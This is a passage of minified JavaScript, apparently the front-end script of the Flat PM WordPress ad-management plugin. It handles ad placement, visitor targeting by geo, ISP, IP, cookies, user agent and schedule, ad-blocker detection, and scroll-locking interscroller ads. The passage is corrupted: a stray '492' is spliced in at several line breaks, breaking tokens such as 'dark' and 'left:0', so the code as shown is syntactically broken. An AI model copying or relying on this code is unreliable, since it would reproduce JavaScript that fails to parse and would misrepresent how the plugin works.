Date,window.fpm_dateYear=fpm_date.getFullYear(),window.fpm_dateMonth=2==(fpm_date.getMonth()+1+"").length?fpm_date.getMonth()+1:"0"+(fpm_date.getMonth()+1),window.fpm_dateWeek=0===fpm_date.getDay()?6:fpm_date.getDay()-1,window.fpm_dateUTCWeek=0===fpm_date.getUTCDay()?6:fpm_date.getUTCDay()-1,window.fpm_dateDay=2==(fpm_date.getDate()+"").length?fpm_date.getDate():"0"+fpm_date.getDate(),window.fpm_dateHours=2==(fpm_date.getHours()+"").length?fpm_date.getHours():"0"+fpm_date.getHours(),window.fpm_dateUTCHours=fpm_date.getUTCHours(),window.fpm_dateMinutes=2==(fpm_date.getMinutes()+"").length?fpm_date.getMinutes():"0"+fpm_date.getMinutes(),window.fpm_increment={};var fpm_modul=fpm_queryAll("noscript#fpm_modul"),fpm_modul_text="";for(var prop in 0<fpm_modul.length&&(fpm_modul_text=fpm_modul[0].outerText,fpm_modul[0].remove()),window.fpm_attr={id:"",type:"",inner:"",status:"",async:"",modal:"",overlay:"",timer:"",cross:"",close_event:"",out:"",fixed:"",stop:"",preroll:"",hoverroll:"",show:"",hide:"",done:"",slider:"",timeline:"",interscroller:""},fpm_modul_text=fpm_modul_text.replace("<style>",""),fpm_modul_text=fpm_modul_text.replace("</style>",""),fpm_attr){fpm_attr[prop]=fpm_randomString(10);var regex=new RegExp("fpm-"+prop,"g");fpm_modul_text=fpm_modul_text.replace(regex,fpm_attr[prop])}document.head.insertAdjacentHTML("beforeend","<style>"+fpm_modul_text+"</style>"),window.fpm_user={init:function(){window.fpm_body=window.fpm_body||document.querySelector("body"),this.fpm_end=document.querySelectorAll(".fpm_end"),this.fpm_end=this.fpm_end[this.fpm_end.length-1],this.fpm_start=document.querySelector(".fpm_start"),this.testcook=flatPM_testCookie(),this.browser=this.searchString(this.dataBrowser)||!1,this.os=this.searchString(this.dataOS)||!1,this.referer=this.cookieReferer(),this.winwidth=window.innerWidth,this.date=fpm_dateYear+"-"+fpm_dateMonth+"-"+fpm_dateDay,this.time=fpm_dateHours+":"+fpm_dateMinutes,this.adb=fpm_adbDetect(),this.until=fpm_until(this.fpm_start,".fpm_end"),this.textlen=this.until.map(function(e){return e.outerText}).join().replace(/(\s)+/g,"").length,this.titlelen=fpm_toNodeList(this.until).querySelectorAll(fpm_titles).length,this.country=this.cookieData("country").toLowerCase(),this.city=this.cookieData("city").toLowerCase(),this.ccode=this.cookieData("ccode").toLowerCase(),this.isp=this.cookieData("isp").toLowerCase(),this.ip=this.cookieData("ip").toLowerCase(),this.agent=navigator.userAgent,this.language=navigator.languages&&navigator.languages.length?navigator.languages[0]:navigator.userLanguage||navigator.language,this.until_child=this.until.map(function(e){return[e,Array.from(e.querySelectorAll("*"))]}).flat(1/0),this.debug=fpm_getUrlParams()["fpm-debug"],this.color_scheme=window.matchMedia&&window.matchMedia("(prefers-color-scheme: dark)").matches?"dar
492k":"light"},cookieReferer:function(){return parent===window?fpm_user.testcook?(void 0===fpm_getCookie("fpm_referer")&&fpm_setCookie("fpm_referer",""==document.referrer?"///:direct":document.referrer),fpm_getCookie("fpm_referer")):""==document.referrer?"///:direct":document.referrer:"///:iframe"},cookieData:function(e){return fpm_user.testcook?void 0===fpm_getCookie("fpm_"+e)?"":fpm_getCookie("fpm_"+e):""},searchString:function(e){for(var t,n=e.length,i=0;i<n;i++)if(t=e[i].str,t&&e[i].subStr.test(t))return e[i].id},dataBrowser:[{str:navigator.userAgent,subStr:/YaBrowser/,id:"YaBrowser"},{str:navigator.vendor,subStr:/Apple/,id:"Safari"},{str:navigator.userAgent,subStr:/OPR/,id:"Opera"},{str:navigator.userAgent,subStr:/Firefox/,id:"Firefox"},{str:navigator.userAgent,subStr:/Edge/,id:"Edge"},{str:navigator.userAgent,subStr:/Chrome/,id:"Chrome"}],dataOS:[{str:navigator.platform,subStr:/Win/,id:"Windows"},{str:navigator.platform,subStr:/Mac/,id:"Mac"},{str:navigator.platform,subStr:/(iPhone|iPad|iPod)/,id:"iPhone"},{str:navigator.platform,subStr:/Linux/,id:"Linux"}]},window.fpm_offsetTop_with_exeptions=function(e,t){return(e=e||"",t=t||"",window.exeptions_offsetTop=window.exeptions_offsetTop||[],window.exeptions_offsetTop[e])?window.exeptions_offsetTop[e]:(window.exeptions_offsetTop[e]=fpm_user.until.map(function(r){var n=Array.from(r.querySelectorAll("*")),i=[];return""!=e&&(i=fpm_queryAll(e,t,"false"),n=n.filter(function(e){return!i.includes(e)})),[r,n]}).flat(1/0).map(function(e){return{el:e,offset:Math.round(e.getBoundingClientRect().top-fpm_user.fpm_start.getBoundingClientRect().top)}}),window.exeptions_offsetTop[e])},window.fpm_textLength_with_exeptions=function(e,t){if(e=e||"",t=t||"",window.exeptions_textLength=window.exeptions_textLength||[],window.exeptions_textLength[e])return window.exeptions_textLength[e];var r=0;return window.exeptions_textLength[e]=fpm_user.until.map(function(n){if("SCRIPT"==n.tagName)return[];var i=Array.from(n.querySelectorAll("*")),o=[];""!=e&&(o=fpm_queryAll(e,t,"false"),i=i.filter(function(e){return!o.includes(e)}));var l=0,s=n.outerText.replace(/(\s)+/g,"").length;return 0<i.length&&i.forEach(function(e){if(void 0===e.outerText||"SCRIPT"==e.tagName)return void(e.fpm_textLength=r);var t=e.outerText.replace(/(\s)+/g,"").length;l+=t,r+=t,e.fpm_textLength=r}),r+=s-l,n.fpm_textLength=r,[n,i]}).flat(1/0),window.exeptions_textLength[e]},fpm_getUrlParams().utm_referrer!==void 0&&(fpm_setCookie("fpm_referer",fpm_getUrlParams().utm_referrer),fpm_user.referer=fpm_getUrlParams().utm_referrer),window.fpm_async_then=function(e){var t=fpm_then[e].length;if(0==t)return void(fpm_then[e]=[]);for(var r,n=0;n<t;n++)r=fpm_then[e][n],fpm_next(r)},window.flatPM_persentWrapper=function(e,t){var r=0,n=!1;return e.forEach(function(e){var i=e.outerText.replace(/(\s)+/g,"");r<t&&(r+=i.length,n=e)}),n},window.fpm_textLength_between=function(e,t,r){var n=e,i=0,o=e.outerText.length,l="data-"+fpm_attr.id;r=r||!1,r&&(i=e.outerText.length,o=0);skip_before:do{for(var s=e;null!==s.previousElementSibling;){if(s=s.previousElementSibling,s.hasAttribute(l))break skip_before;if(s.previousElementSibling===fpm_user.fpm_start){i=1e8;break skip_before}var a=s.querySelectorAll("[data-"+fpm_attr.id+"]");if(0<a.length){a=a[a.length-1];do{for(;null!==a.nextElementSibling;)a=a.nextElementSibling,i+=a.outerText.length;a=a.parentNode}while(a!==s);break}if(i+=s.outerText.length,i>=t)break skip_before}e=e.parentNode}while(e!==fpm_user.fpm_start.parentNode);e=n;skip_after:do{for(var s=e;null!==s.nextElementSibling;){if(s=s.nextElementSibling,s.hasAttribute(l))break skip_after;if(s.nextElementSibling===fpm_user.fpm_end){o=1e8;break skip_after}var a=s.querySelectorAll("[data-"+fpm_attr.id+"]");if(0<a.length){a=a[0];do{for(;null!==a.previousElementSibling;)a=a.previousElementSibling,o+=a.outerText.length;a=a.parentNode}while(a!==s);break}if(o+=s.outerText.length,o>=t)break skip_after}e=e.parentNode}while(e!==fpm_user.fpm_start.parentNode);return i>=t&&o>=t},window.fpm_interscroller_resize=function(){document.querySelectorAll("."+fpm_attr.interscroller+"-inner").forEach(function(e){e.style.setProperty("--width",e.parentNode.getBoundingClientRect().width+"px")})},window.addEventListener("resize",fpm_interscroller_resize),window.fpm_getScrollbarWidth=function(){var e=document.createElement("div");e.style.visibility="hidden",e.style.overflow="scroll",e.style.msOverflowStyle="scrollbar",document.body.appendChild(e);var t=document.createElement("div");e.appendChild(t);var r=e.offsetWidth-t.offsetWidth;return e.parentNode.removeChild(e),r},window.fpm_interscrollerObserver=function(e,t){function r(){return 85<100/window.innerHeight*e.getBoundingClientRect().height?e.getBoundingClientRect().bottom-document.querySelector("html").getBoundingClientRect().top-window.innerHeight:e.getBoundingClientRect().bottom-document.querySelector("html").getBoundingClientRect().top+(window.innerHeight-e.getBoundingClientRect().height)/2-window.innerHeight}t=t||3;var n=parseInt(window.getComputedStyle(document.body,null).getPropertyValue("padding-right")),i=e.querySelectorAll("span.timer");document.body.style.overflow="hidden",document.body.style.paddingRight=n+fpm_getScrollbarWidth()+"px",window.scrollTo({top:r(),left
492:0,behavior:"smooth"});var o=setInterval(function(){window.scrollTo({top:r(),left:0,behavior:"smooth"})},100);var l=setInterval(function(){t--,i.forEach(function(e){e.innerHTML=t}),0>=t&&(document.body.style.overflow="auto",document.body.style.paddingRight=n+"px",i.forEach(function(e){e.remove()}),clearInterval(o),clearInterval(l))},1e3)},window.fpm_render_pixel_ads=function(e,t){t.xpath=t.xpath||"";var r,n,o,s=fpm_user.fpm_end.getBoundingClientRect().top-fpm_user.fpm_start.getBoundingClientRect().top,a=fpm_offsetTop_with_exeptions(t.exclude,t.xpath);if(t.n=t.n&&0!=t.n?t.n:1,["percent_once","px_once","center"].includes(t.type)){"percent_once"===t.type&&(o=Math.round(window.innerHeight/100*t.n)),"px_once"===t.type&&(o=1*t.n),"center"===t.type&&(o=s/2);var d=s+200;if(d>o){var p=[...a].sort((e,t)=>Math.abs(o-e.offset)-Math.abs(o-t.offset));r=a.find(function(e){return e.offset===p[0].offset}).el,t.m?(t.m=1*t.m,fpm_textLength_between(r,t.m)&&r.insertAdjacentElement("beforebegin",e)):r.insertAdjacentElement("beforebegin",e)}}if(["percent_iterable","px_iterable"].includes(t.type)){"percent_iterable"===t.type&&(o=Math.round(window.innerHeight/100*t.n),n=t.start?Math.round(window.innerHeight/100*t.start):o),"px_iterable"===t.type&&(o=1*t.n,n=t.start?1*t.start:o);var d=s+200;if(d>o){var c=d;t.max&&(c=Math.min(d,o*t.max+n));for(var p,f=n;f<c;)p=[...a].sort((e,t)=>Math.abs(f-e.offset)-Math.abs(f-t.offset)),r=a.find(function(e){return e.offset===p[0].offset}).el,t.m?(t.m=1*t.m,fpm_textLength_between(r,t.m)&&r.insertAdjacentElement("beforebegin",e.cloneNode())):r.insertAdjacentElement("beforebegin",e.cloneNode()),f+=o}}},window.fpm_cross_timer=function(t,r,n){var i=null!==n.querySelector("."+fpm_attr.cross),o=null!==n.querySelector("."+fpm_attr.timer);if("true"===r.cross){var l=document.createElement("div");l.classList.add(fpm_attr.cross),l.addEventListener("click",function(i){i.preventDefault(),fpm_close_event(t,r,n),n.classList.add(fpm_attr.hide),fpm_setCookie("fpm_outgoing_"+t.id,"true")})}r.timeout=parseInt(r.timeout)||0;var s=r.cross_offset&&"true"===r.cross_offset?n.firstChild:n;if("true"===r.timer&&0<r.timeout){var a=document.createElement("div");a.classList.add(fpm_attr.timer),a.innerHTML=fpm_settings.timer_text+" <span>"+r.timeout+"</span>";var d=a.querySelector("span");o||s.appendChild(a);var p=setInterval(function(){d.innerHTML=--r.timeout,0>=r.timeout&&(clearInterval(p),a.remove(),"true"===r.cross?!i&&s.appendChild(l):(fpm_close_event(t,r,n),n.classList.add(fpm_attr.hide)))},1e3)}else"true"!==r.cross||i||s.appendChild(l)},window.fpm_close_event=function(e,t,r){r.classList.remove(fpm_attr.show),r.classList.contains("center")||setTimeout(function(){r.remove()},1*fpm_settings.speed+100),t.again&&"true"===t.again&&(window.fpm_outgoing_counter=window.fpm_outgoing_counter||[],window.fpm_outgoing_counter[e.id]=window.fpm_outgoing_counter[e.id]||0,(!t.count||window.fpm_outgoing_counter[e.id]<t.count)&&setTimeout(function(){delete e.view.pixels,delete e.view.symbols,delete e.view.once,delete e.view.iterable,delete e.view.preroll,delete e.view.hoverroll,fpm_setWrap(e,!0),fpm_next(e)},t.interval?1e3*t.interval:0),window.fpm_outgoing_counter[e.id]++)},window.fpm_setWrap=function(t,r){r=r||!1;try{if(!r){var n=[],o=t.html.block,s=0,a=[];for(var d in o)if((!o[d].minwidth||o[d].minwidth<=fpm_user.winwidth)&&(!o[d].maxwidth||o[d].maxwidth>=fpm_user.winwidth)){o[d].abgroup||(o[d].abgroup="0"),n[o[d].abgroup]||(n[o[d].abgroup]=[]);var p=fpm_user.adb?""===o[d].adb.code&&("true"===fpm_settings.dublicate||"footer"===t.id||"header"===t.id)?o[d].html:o[d].adb:o[d].html;for(var c in fpm_base64test.test(p.code)&&(p.code=decodeURIComponent(escape(atob(p.code)))),p.code=p.code.trim(),fpm_attr){var f=new RegExp("fpm-"+c,"g");fpm_modul_text=fpm_modul_text.replace(f,fpm_attr[c])}p.code&&n[o[d].abgroup].push(p)}for(var u in n)0==n[u].length&&delete n[u];if(0==Object.keys(n).length)return void fpm_debug(t.id,"screen resolution");for(var u in delete t.html.block,n)if("0"==u)for(var m in n[u])n[u][m].minheight&&(s+=1*n[u][m].minheight);else a[u]=fpm_randomProperty(n[u]),s+=1*n[u][a[u]].minheight;t.html.groups=n,t.html.start=a}var h=document.createElement("div");(t.user.geo||t.user.ip||t.user.isp)&&h.classList.add(fpm_attr.async),h.setAttribute("data-"+fpm_attr.id,t.id),h.setAttribute("data-"+fpm_attr.status,"processing"),h.style.minHeight=s+"px";var g=t.view.pixels;if(g&&null!==fpm_user.fpm_end&&null!==fpm_user.fpm_start){var b=h.cloneNode();b.setAttribute("data-"+fpm_attr.type,"pixels"),"processing"==document.readyState?document.addEventListener("load",function(){fpm_then.load.push(t),fpm_render_pixel_ads(b,g),fpm_async_then("load")}):fpm_render_pixel_ads(b,g)}var y=t.view.symbols;if(y&&null!==fpm_user.fpm_end&&null!==fpm_user.fpm_start){var b=h.cloneNode();b.setAttribute("data-"+fpm_attr.type,"symbols"),y.xpath=y.xpath||"";var _,a,w,v=fpm_textLength_with_exeptions(y.exclude,y.xpath);if(y.n=y.n&&0!=y.n?y.n:1,["percent_once","symbol_once","center"].includes(y.type)){"percent_once"===y.type&&(w=Math.round(fpm_user.textlen/100*y.n)),"symbol_once"===y.type&&(w=1*y.n),"center"===y.type&&(w=fpm_user.textlen/2);var E=fpm_user.textlen+100;if(E>w){var L=[...v].sort((e,t)=>
492Math.abs(w-e.fpm_textLength)-Math.abs(w-t.fpm_textLength));_=v.find(function(e){return e.fpm_textLength===L[0].fpm_textLength}),y.m?(y.m=1*y.m,fpm_textLength_between(_,y.m,!0)&&_.insertAdjacentElement("afterend",b)):_.insertAdjacentElement("afterend",b)}else fpm_debug(t.id,"symbols offset")}if(["percent_iterable","symbol_iterable"].includes(y.type)){"percent_iterable"===y.type&&(w=Math.round(fpm_user.textlen/100*y.n),a=y.start?Math.round(fpm_user.textlen/100*y.start):w),"symbol_iterable"===y.type&&(w=1*y.n,a=y.start?1*y.start:w);var E=fpm_user.textlen+100;if(E>w){var C=E;y.max&&(C=Math.min(E,w*y.max+a));for(var L,e=a;e<C;)L=[...v].sort((t,r)=>Math.abs(e-t.fpm_textLength)-Math.abs(e-r.fpm_textLength)),_=v.find(function(e){return e.fpm_textLength===L[0].fpm_textLength}),y.m?(y.m=1*y.m,fpm_textLength_between(_,y.m,!0)&&_.insertAdjacentElement("afterend",b.cloneNode())):_.insertAdjacentElement("afterend",b.cloneNode()),e+=w}else fpm_debug(t.id,"symbols offset")}}var x=t.view.once;if(x){var b=h.cloneNode();b.setAttribute("data-"+fpm_attr.type,"once");var k=fpm_queryAll(x.selector,x.xpath,x.document);if(x.n=1*x.n||1,k.length>=x.n){"bottom"===x.derection&&k.reverse();var T="beforebegin";"prepend"===x.insert_type&&(T="afterbegin"),"append"===x.insert_type&&(T="beforeend"),"after"===x.insert_type&&(T="afterend"),k[x.n-1].insertAdjacentElement(T,b)}else fpm_debug(t.id,"once can't find element")}var S=t.view.iterable;if(S){var b=h.cloneNode();b.setAttribute("data-"+fpm_attr.type,"iterable");var k=fpm_queryAll(S.selector,S.xpath,S.document);if(S.n=1*S.n||1,S.start=1*S.start||S.n,k.length>=S.n+S.start-1){"bottom"===S.derection&&k.reverse();var T="beforebegin";"prepend"===S.insert_type&&(T="afterbegin"),"append"===S.insert_type&&(T="beforeend"),"after"===S.insert_type&&(T="afterend");var C=k.length;S.max&&(C=Math.min(k.length,S.n*S.max+S.start-S.n));for(var e=S.start-1;e<C;e++)0==(e+1-S.start+S.n)%S.n&&k[e].insertAdjacentElement(T,b.cloneNode())}else fpm_debug(t.id,"iterable can't find element")}var A=t.view.outgoing;A&&("true"===A.cookie||"true"!==fpm_getCookie("fpm_outgoing_"+t.id)?function(){var e=h.cloneNode();if(e.setAttribute("data-"+fpm_attr.type,"outgoing"),e.classList.add(A.side),"sec"==A.type)var r=function(){"true"===A.close&&(document.removeEventListener("visibilitychange",l),fpm_body.removeEventListener("mouseleave",l)),e.classList.add(fpm_attr.show),fpm_cross_timer(t,{...A},e),A.hide&&setTimeout(function(){fpm_close_event(t,A,e)},1e3*A.hide)},n=setTimeout(function(){r()},1e3*A.show);var i=function(){if(document.removeEventListener("scroll",o),"true"===A.close&&(document.removeEventListener("visibilitychange",l),fpm_body.removeEventListener("mouseleave",l)),e.classList.add(fpm_attr.show),fpm_cross_timer(t,{...A},e),A.hide){var r=function(){window.pageYOffset>A.hide&&(fpm_close_event(t,A,e),document.removeEventListener("scroll",r))};document.addEventListener("scroll",r)}};if(["px","vh","%"].includes(A.type)){var o=function(){("px"===A.type&&window.pageYOffset>A.show||"vh"===A.type&&window.pageYOffset>Math.round(window.innerHeight/100*A.show)||"%"===A.type&&window.pageYOffset>Math.round((fpm_body.scrollHeight-window.innerHeight)/100*A.show))&&i()};document.addEventListener("scroll",o)}if("true"===A.close){var l=function(t){("visibilitychange"===t.type&&document.hidden||"mouseleave"===t.type)&&(document.removeEventListener("visibilitychange",l),fpm_body.removeEventListener("mouseleave",l),"sec"==A.type&&(clearTimeout(n),r()),"px"==A.type&&i())};document.addEventListener("visibilitychange",l),fpm_body.addEventListener("mouseleave",l)}"true"===A.action&&A.selector&&fpm_on(fpm_body,"click",A.selector,function(){"true"===A.close&&(document.removeEventListener("visibilitychange",l),fpm_body.removeEventListener("mouseleave",l)),"sec"==A.type&&(clearTimeout(n),r()),"px"==A.type&&i()}),fpm_body.insertAdjacentElement("afterbegin",e)}():fpm_debug(t.id,"outgoing already displayed for this user"));var N=t.view.preroll;N&&function(){var e=fpm_queryAll(N.selector,N.xpath,"true");0<e.length?e.forEach(function(e){if(!e.classList.contains(fpm_attr.done)){e.classList.add(fpm_attr.done);var r=document.createElement("span"),n=r.cloneNode(),i=r.cloneNode(),o=r.cloneNode();r.classList.add(fpm_attr.preroll),(e.matches("iframe")||0<e.querySelectorAll("iframe").length)&&r.classList.add("hasIframe"),fpm_wrap(e,r),n.classList.add(fpm_attr.preroll+"_flex"),i.classList.add(fpm_attr.preroll+"_item"),o.classList.add(fpm_attr.preroll+"_hover"),i.appendChild(h.cloneNode()),n.appendChild(i),n.appendChild(o),r.appendChild(n);var l=function(r){r.preventDefault(),fpm_cross_timer(t,{...N},n),n.classList.add(fpm_attr.show),o.removeEventListener("click",l),"true"===N.once&&document.querySelectorAll("."+fpm_attr.preroll+"_flex:not(."+fpm_attr.show+")").forEach(function(e){e.remove()})};o.addEventListener("click",l)}}):fpm_debug(t.id,"preroll can't find element")}();var O=t.view.hoverroll;O&&function(){var e=fpm_queryAll(O.selector,O.xpath,"true");0<e.length?e.forEach(function(e){if(!e.classList.contains(fpm_attr.done)){e.classList.add(fpm_attr.done);var r=document.createElement("span"),n=r.cloneNode();r.classList.add(fpm_attr.hoverroll),fpm_wrap(e,r),n.classList.add(fpm_attr.hoverroll+"_item"),n.appendChild(h.cloneNode()),r.appendChild(n),"true"===O.cross&&fpm_cross_timer(t,{...O},n)}}):fpm_debug(t.id,"hoverroll can't find element")}();var M=document.querySelectorAll(".fpm-short-"+t.id);M.forEach(function(e){var t=h.cloneNode();t.setAttribute("data-"+fpm_attr.type,"shortcode"),e.insertAdjacentElement("beforebegin",t),e.remove()})}catch(t){console.warn(t)}},window.fpm_afterObserver=function(e,t){var r=t.getAttribute("data-"+fpm_attr.type),n=getComputedStyle(t,"").minHeight,o=!1;for(var l in e.groups){var s=e.groups[l];if("0"==l)for(var a in s)(function(){var e=s[a],r=document.createElement("div");r.classList.add(fpm_attr.inner),t.insertAdjacentElement("beforeend",r),e.timeout||e.autorefresh?(o=!0,setTimeout(function(){fpm_pre_setHTML(r,e.code),e.autorefresh&&"0"!==e.autorefresh&&setInterval(function(){r.innerHTML="",fpm_pre_setHTML(r,e.code)},1e3*e.autorefresh)}
492,e.timeout?1e3*e.timeout:0)):(fpm_pre_setHTML(r,e.code),fpm_contentsUnwrap(r))})();else(function(){var r=1*e.start[l],n=s,i=n.length,a=n[r],d=document.createElement("div"),p=a.timeout?1e3*a.timeout:0;d.classList.add(fpm_attr.inner),t.insertAdjacentElement("beforeend",d),a.timeout||a.autorefresh?(o=!0,setTimeout(function(){fpm_pre_setHTML(d,a.code),fpm_dynamicInterval(d,a,n,i,r)},a.timeout?1e3*a.timeout:0)):(fpm_pre_setHTML(d,a.code),fpm_contentsUnwrap(d))})()}!o&&["pixels","symbols","once","iterable"].includes(r)&&"0px"==n&&fpm_contentsUnwrap(t)},window.fpm_next=function(e){var t=fpm_queryAll("[data-"+fpm_attr.id+"=\""+e.id+"\"][data-"+fpm_attr.status+"=\"processing\"]");if(0!==t.length)try{var r=e.user.ip;if(r&&"false"===fpm_user.ip)return t.forEach(function(e){e.remove()}),void fpm_debug(e.id,"ip");var n=e.user.isp;if(n&&(n.allow=n.allow.filter(Boolean))&&(n.disallow=n.disallow.filter(Boolean))&&(0<n.allow.length&&-1==n.allow.findIndex(function(e){return-1!=fpm_user.isp.indexOf(e)})||0<n.disallow.length&&-1!=n.disallow.findIndex(function(e){return-1!=fpm_user.isp.indexOf(e)})))return t.forEach(function(e){e.remove()}),void fpm_debug(e.id,"isp");var i=e.user.geo;
492if(i&&(i.country.allow=i.country.allow.filter(Boolean))&&(i.country.disallow=i.country.disallow.filter(Boolean))&&(i.city.allow=i.city.allow.filter(Boolean))&&(i.city.disallow=i.city.disallow.filter(Boolean))&&(0<i.country.allow.length&&-1==i.country.allow.indexOf(fpm_user.country)&&-1==i.country.allow.indexOf(fpm_user.ccode)||0<i.country.disallow.length&&(-1!=i.country.disallow.indexOf(fpm_user.country)||-1!=i.country.disallow.indexOf(fpm_user.ccode))||0<i.city.allow.length&&-1==i.city.allow.indexOf(fpm_user.city)||0<i.city.disallow.length&&-1!=i.city.disallow.indexOf(fpm_user.city)))return t.forEach(function(e){e.remove()}),void fpm_debug(e.id,"geo");var o=e.html;t.forEach(function(t){if("true"===e.lazy&&"IntersectionObserver"in window&&"true"===fpm_settings.lazyload){var r=new IntersectionObserver(function(e){e.forEach(function(e){e.isIntersecting&&(fpm_afterObserver(o,t),r.unobserve(e.target))})},{rootMargin:(fpm_settings.threshold||300)+"px 0px"});r.observe(t)}else fpm_afterObserver(o,t)})}catch(t){console.warn(t)}},window.fpm_start=function(e){e=e||"false",fpm_user.init(),window.exeptions=[];var t=[];"true"===e?(t=fpm_arr.filter(function(t){return t.fast===e}),fpm_arr=fpm_arr.filter(function(t){return t.fast!==e})):(t=fpm_arr,fpm_arr=[],!fpm_user.debug&&console.log("Flat PM Debug-Mode: "+window.location.href+"?fpm-debug"));var r={},n=[];for(t.forEach(function(e,t){e.abgroup&&(r[e.abgroup]=r[e.abgroup]||[],r[e.abgroup].push({index:t})),e.folder&&-1===n.indexOf(e.folder)&&n.push(e.folder)}),Object.keys(r).forEach(function(e){r[e]=r[e][Math.floor(Math.random()*r[e].length)].index}),t=t.filter(function(e,t){return!e.abgroup||void 0===r[e.abgroup]||r[e.abgroup]===t}),0!==n.length&&(window.fpm_randFolder=window.fpm_randFolder||n[Math.floor(Math.random()*n.length)],t=t.filter(function(e){return!e.folder||e.folder===window.fpm_randFolder}));0<t.length;){var i=t.shift(),o=!1;fpm_user.debug&&console.log(i);var l=i.content.restriction;if(l&&(l.content_less&&l.content_less>fpm_user.textlen||l.content_more&&l.content_more<fpm_user.textlen||l.title_less&&l.title_less>fpm_user.titlelen||l.title_more&&l.title_more<fpm_user.titlelen)){fpm_debug(i.id,"content");continue}var s=i.user.time;if(s){var a=new Date(fpm_user.date+"T"+s.from+":00"),d=new Date(fpm_user.date+"T"+s.to+":00"),p=new Date(fpm_user.date+"T12:00:00"),c=new Date(fpm_user.date+"T"+fpm_user.time+":00");if(a>d&&d<p&&(d=fpm_addDays(d,1)),a>d&&d>p&&(a=fpm_addDays(a,-1)),a>c||d<c){fpm_debug(i.id,"time");continue}}var f=i.user.date;if(f){var a=new Date(f.from.split("-").reverse().join("-")+"T00:00:00"),d=new Date(f.to.split("-").reverse().join("-")+"T00:00:00"),c=new Date(fpm_user.date+"T00:00:00");if(a>c||d<c){fpm_debug(i.id,"date");continue}}var u=i.user.schedule;if(u){var m=JSON.parse(u.value);if(m=m.map(function(e){return("0".repeat(24)+parseInt(e,16).toString(2)).substr(-24).split("").map(function(e){return parseInt(e,10)})}),!m[fpm_dateUTCWeek][fpm_dateUTCHours]){fpm_debug(i.id,"schedule");continue}}var h=i.user["color-scheme"];if(h&&(0<h.allow.length&&-1==h.allow.indexOf(fpm_user.color_scheme.toLowerCase())||0<h.disallow.length&&-1!=h.disallow.indexOf(fpm_user.color_scheme.toLowerCase()))){fpm_debug(i.id,"Color-scheme");continue}var g=i.user.os;if(g&&(0<g.allow.length&&-1==g.allow.indexOf(fpm_user.os.toLowerCase())||0<g.disallow.length&&-1!=g.disallow.indexOf(fpm_user.os.toLowerCase()))){fpm_debug(i.id,"OS");continue}var b=i.user.cookies;if(b){var y=!1;if(b.allow){if(!fpm_user.testcook)continue;b.allow.forEach(function(e){var t=e.includes(">")&&">"||e.includes("<")&&"<"||e.includes("*")&&"*"||"=",r=e.split(t,2),n=r[0].trim(),i=r[1].trim()||!1,o=fpm_getCookie(n);if(y=!0,!1!==i){if(i.split("|").forEach(function(e){if(e=e.trim(),">"===t&&o&&o>parseInt(e)||"<"===t&&o&&o<parseInt(e)||"*"===t&&o&&o.includes(e)||"="===t&&o&&o==e)return y=!1,!1}),!1==y)return!1;}else if(o)return y=!1,!1})}if(b.disallow&&fpm_user.testcook&&b.disallow.forEach(function(e){var t=e.includes(">")&&">"||e.includes("<")&&"<"||e.includes("*")&&"*"||"=",r=e.split(t,2),n=r[0].trim(),i=r[1].trim()||!1,o=fpm_getCookie(n);if(!1!==i){if(i.split("|").forEach(function(e){if(e=e.trim(),">"===t&&o&&o>parseInt(e)||"<"===t&&o&&o<parseInt(e)||"*"===t&&o&&o.includes(e)||"="===t&&o&&o==e)return y=!0,!1}),!0==y)return!1;}else if(o)return y=!0,!1}),y){fpm_debug(i.id,"cookies");continue}}var _=i.user.role;if(_&&(0<_.allow.length&&-1==_.allow.indexOf(fpm_settings.role)||0<_.disallow.length&&-1!=_.disallow.indexOf(fpm_settings.role))){fpm_debug(i.id,"role");continue}var x=i.user.utm;if(x){var w=!1;if(void 0!==x.allow&&x.allow.forEach(function(e){var t=e.includes(">")&&">"||e.includes("<")&&"<"||e.includes("*")&&"*"||"=",r=e.split(t,2),n=r[0].trim(),i=r[1]&&r[1].trim()||!1,o=fpm_getUrlParams()[n];if(w=!0,!1!==i){if(i.split("|").forEach(function(e){if(e=e.trim(),">"===t&&o&&o>parseInt(e)||"<"===t&&o&&o<parseInt(e)||"*"===t&&o&&o.includes(e)||"="===t&&o&&o==e)return w=!1,!1}),!1==w)return!1;}else if(console.log("single"),o)return w=!1,!1}),void 0!==x.disallow&&x.disallow.forEach(function(e){var t=e.includes(">")&&">"||e.includes("<")&&"<"||e.includes("*")&&"*"||"=",r=e.split(t,2),n=r[0].trim(),i=r[1]&&r[1].trim()||!1,o=fpm_getUrlParams()[n];if(!1!==i){if(i.split("|").forEach(function(e){if(e=e.trim(),">"===t&&o&&o>parseInt(e)||"<"===t&&o&&o<parseInt(e)||"*"===t&&o&&o.includes(e)||"="===t&&o&&o==e)return w=!0,!1}),!0==w)return!1;}else if(o)return w=!0,!1}),w){fpm_debug(i.id,"UTM");continue}}var v=i.user.agent;
492if(v&&(v.allow=v.allow.filter(Boolean))&&(v.disallow=v.disallow.filter(Boolean))&&(0<v.allow.length&&-1==v.allow.findIndex(function(e){return-1!=fpm_user.agent.indexOf(e)})||0<v.disallow.length&&-1!=v.disallow.findIndex(function(e){return-1!=fpm_user.agent.indexOf(e)}))){fpm_debug(i.id,"user-agent");continue}var E=i.user.language;if(E&&(E.allow=E.allow.filter(Boolean))&&(E.disallow=E.disallow.filter(Boolean))&&(0<E.allow.length&&-1==E.allow.findIndex(function(e){return-1!=fpm_user.language.indexOf(e)})||0<E.disallow.length&&-1!=E.disallow.findIndex(function(e){return-1!=fpm_user.language.indexOf(e)}))){fpm_debug(i.id,"browser language");continue}var L=i.user.referer;L&&(L.allow=L.allow.filter(Boolean))&&(L.disallow=L.disallow.filter(Boolean))&&(0<L.allow.length&&-1==L.allow.findIndex(function(e){return-1!=fpm_user.referer.indexOf(e)})||0<L.disallow.length&&-1!=L.disallow.findIndex(function(e){return-1!=fpm_user.referer.indexOf(e)}))&&(fpm_debug(i.id,"referer"),o=!0);var C=i.user.browser;if(!o&&C&&(C.allow=C.allow.filter(
